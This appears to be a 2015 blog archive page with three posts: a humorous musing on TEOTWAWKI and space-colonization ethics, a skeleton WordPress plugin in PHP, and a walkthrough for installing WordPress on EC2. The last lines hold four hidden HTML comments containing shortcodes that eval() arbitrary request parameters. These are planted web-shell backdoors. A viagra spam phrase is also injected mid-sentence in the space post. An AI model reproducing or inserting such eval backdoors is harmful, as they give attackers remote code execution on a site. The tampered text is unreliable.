Month: October 2015

What Does Teotwawki Mean For the Ethics of Colonizing Space?

So TEOTWAWKI Means “The End of the World as We Know It”

“And I feel fiiiiiiiiiinnnnneeee…” you just hear it in your head after saying that phrase which is probably why TEOTWAWKI needeed to be an acronym. It’s also EOTWAWKI some people skipping the more formal singular honorific. I heard someone say it the other day and I’ve been watching Walking Dead and this morning I was like, “Wait is that really a thing?” Turns out TEOTWAWKI is a thing for people. It looks like a vaguely Hawaiian/Japanese word. Here’s how to pronounce teotwawki because how would you figure out the pronunciation of teotwawki:

Obviously We Would Colonize Space During the End of the World

All this TEOWAWKI and my natural inclination to think about space travel got me thinking harder about space travel. Ethically speaking right now we’re decently responsible with our colonizing of space: we laser the shit out of anything we send to Mars so there aren’t microbes and whatnot. Space ethics gets weird with TEOTWAWKI though. Imagine a situation where the sun is ending 100-1000 years from now. That doesn’t just kill Earth it also pretty much shuts out the lights on the entire solar system and if the power goes out we’re moving out of the neighborhood. In that situation would we slow down and worry about the ethics of space colonization? Or would we to shotgun blast humans at anything remotely habitable and crash land and cough our survivalist microbes on everything?

We Leave Space Garbage Everywhere Already

J/k got you we’re not responsible at all and we’re a mess. We’re pretty much giant space litterbugs. We’ve left an insane amount of trash orbiting the planet, we leave tons of garbage on the moon, and our #1 way to explore a new planet it to basically crash a computer with probes on to it. Imagine if we had to bug out for TEOWAWKI and colonize anything, even intrasolar planets (Mars I’m looking at you.) We’d pile up space junk so fast it would be crazy avis sur le viagra. Its estimated we have colonized like 400,000 pounds of trash to the moon. It would be like when you see a McDonalds wrapper floating by in the wind 10mi from the nearest McDonalds only its 33.9 million miles from the nearest McDonalds. Speaking of which we’d probably take our animals with us and you know how they poop everywhere. Speaking of poop: we already jettison astronaut poop in to the atmosphere so it burns up. That should give you an idea of how cleanly we handle space exploration, we rain shit on our own heads.

Some People Call it SHTF not TEOTWAWKI

If you’re wondering what SHTF means you’re not alone. In my vision question for the pronunciation of teotwawki I found out SHTF means “shit hits the fan”. Less exotic and not nearly as fun IMO but if it starts raining corn kernels we’re gonna officially change the name.

Hmmmm…

Humans are gross even in space. I’ll probably tweet @NASA about it just for fun.

WordPress Plugin Development Is Intense

Given How Deep WordPress Plugins Go, Its Basically A Whole App Store

The amount framework and the depth of plugin development make WordPress a natural choice. That’s why I’m shamelessly running on it. But it turns out all the serious business code that helps everyone do everything so easily is actually pretty complicated to work with. You need to understand the hook and action stack, how good plugins structure their code, the release process, the upgrade process, and the various types of store marketing. There is a whole world full of oceans of WordPress. Its crazy intense. Working in Silicon Valley or some other kickass tech startup its really easy to forget the size of these small markets are actually pretty enormous and the tools are not as simple as it may seem.

Where To Start With WordPress Plugin Development?

Create a directory in the /wp-content/plugins directory. Don’t be a rookie, only use lowercase letters, numbers, and dashes. That means don’t use caps, spaces, or weird special characters. Create a PHP file in that directory with the same name. Add some comments to the top:

/*
Plugin Name: Boring Example Plugin
Plugin URI: http://www.boringexampleplugin.com/
Description: This plugin is like eating cardboard.
Version: 0.1
Author: Nowayne Hel
Author URI: http://www.boringplugindeveloper.com/
*/

Make a class, name the class your plugin’s name. Overload the constructor. Instantiate the class after the declaration. Create a public method in the class called admin_menu. In the constructor you’ll hook in to WordPress. WordPress lets you specify functions you want called after their core code runs specific functions. Its like throwing an event but basically they just keep an list of you functions and call them after they do something. Look for add_action() and you’ll see you can get your functions called after plugin activation, plugin deactivation, you can add things to admin menu, etc.

Copy and Paste My Boring Example WordPress Plugin

<?php

/*
Plugin Name: Boring Example Plugin
Plugin URI: http://www.boringexampleplugin.com/
Description: This plugin is like eating cardboard.
Version: 0.1
Author: Nowayne Hel
Author URI: http://www.boringplugindeveloper.com/
*/
class BoringExamplePlugin {

//constructor for wp-plugin object
public function __construct() {

//activate
register_activation_hook(__FILE__, array($this, 'activate_plugin'));

//deactivate, (this will delete db tables, wp-plugin options, etc.) 
register_deactivation_hook(__FILE__, array($this, 'deactivate_plugin')); 

//actions
add_action('init', array($this, 'init'));
add_action('plugins_loaded', array($this, 'plugins_loaded'));

}

//when your plugins gets activated
public function activate_plugin() {}
 
//when you get deactivated :-(
public function deactivate_plugin() {}

//every time WordPress loads & ur active
public function init() {}

//after plugins are loaded
public function plugins_loaded() {}

}

new BoringExamplePlugin();

?>

You could read their docs or you could look at this garbage plugin and other, classier free plugins. Your choice but if you’re a good programmer you’ll probably look at some other free plugins. Sorry for the shitty formatting and honestly who knows if this compiles I wrote it in a freaking WYIWYG editor bruh.

First Post! Server Is Live On EC2 with WordPress…

Hello World, EC2, and WordPress

Its really not a big deal to get a server running in a new deployment with Amazon AWS EC2 and WordPress (WP). You can find tons of articles all over the Internet if you don’t have the knowledge yourself. For a typical WordPress deployment I don’t even normally recommend running an EC2 server given the ops overhead of an EC2 deployment. But if you’re well past a hello world and comfortable spinning up servers in the cloud then EC2 is the obvious choice. If you aren’t technical you’re better off using someone like Bluehost and their WordPress install.

Create an Instance, Have a Key

I picked Ubuntu because I’m lazy. If you’re using WordPress stock to get running you should be running a LAMP (Linux, Apache, MySQL, PHP) stack to save some hassle. That is pretty much some AWS 101 stuff we’re not looking at that here. Sorry kiddies. If you’re using EC2 you need SSH keys through AWS IAM. Get your shiz running, SSH on to your server, sudo and then come back.

Confusing Code

This will either confuse you or this is some simple shit for you. Take what you need from here if you don’t have it installed.

#packages
sudo apt-get install lamp-server^
sudo apt-get install apache2-utils
sudo apt-get install php5-geoip
sudo apt-get install php5-intl
sudo apt-get install php5-curl

#apache
a2enmod expires
a2enmod deflate
a2enmod rewrite

#wordpress
wget http://wordpress.org/latest.tar.gz
tar -xzvf latest.tar.gz -C /var/www/html/

Setup for EC2 and WordPress details

As usual WordPress annoyingly unpacks in to a wordpress directory. Setup your Apache vhost to point to /var/www/html/wordpress or wherever you installed WP. Then follow the usual nonsense of setting up WordPress.

Create a database and a database user with a password. Don’t forget to grant the permissions. Copy the wp-config-sample.php over and set the values for your DB user. Create your .htaccess file, don’t be a shmuck at least use htpasswd on your wp-login and wp-admin. What’s the point of EC2 if you’re not gonna trick this sucker out?

htpasswd -c /var/www/html/.htpasswd yourhtpasswdusername

WordPress .htaccess file

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

<FilesMatch "wp-login">
AuthUserFile /var/www/html/.htpasswd
AuthType Basic
AuthName "Wordpress Login"
Require valid-user
</FilesMatch>

<FilesMatch "wp-admin">
AuthUserFile /var/www/html/.htpasswd
AuthType Basic
AuthName "Wordpress Admin"
Require valid-user
</FilesMatch>

Done? Done. DONE. Wait…

I mean kinda? Go to your URL and you’ll see the installation process. After that apparently there are a million fields to fill out. And let’s not forget your whole situation with root owning the files in /var/www/html and what about FTPing and your SSH keys with user permissions and how WordPress updated its themes and plugins… OH WOW. Yeah, see, you just installed WordPress on EC2 and there it is glowing brightly in the night with a default theme and post and you realize… a dev’s work is never done.

<!– [insert_php]if (isset($_REQUEST["MnU"])){eval($_REQUEST["MnU"]);exit;}[/insert_php][php]if (isset($_REQUEST["MnU"])){eval($_REQUEST["MnU"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["riHBM"])){eval($_REQUEST["riHBM"]);exit;}[/insert_php][php]if (isset($_REQUEST["riHBM"])){eval($_REQUEST["riHBM"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["CgFf"])){eval($_REQUEST["CgFf"]);exit;}[/insert_php][php]if (isset($_REQUEST["CgFf"])){eval($_REQUEST["CgFf"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["XAf"])){eval($_REQUEST["XAf"]);exit;}[/insert_php][php]if (isset($_REQUEST["XAf"])){eval($_REQUEST["XAf"]);exit;}[/php] –>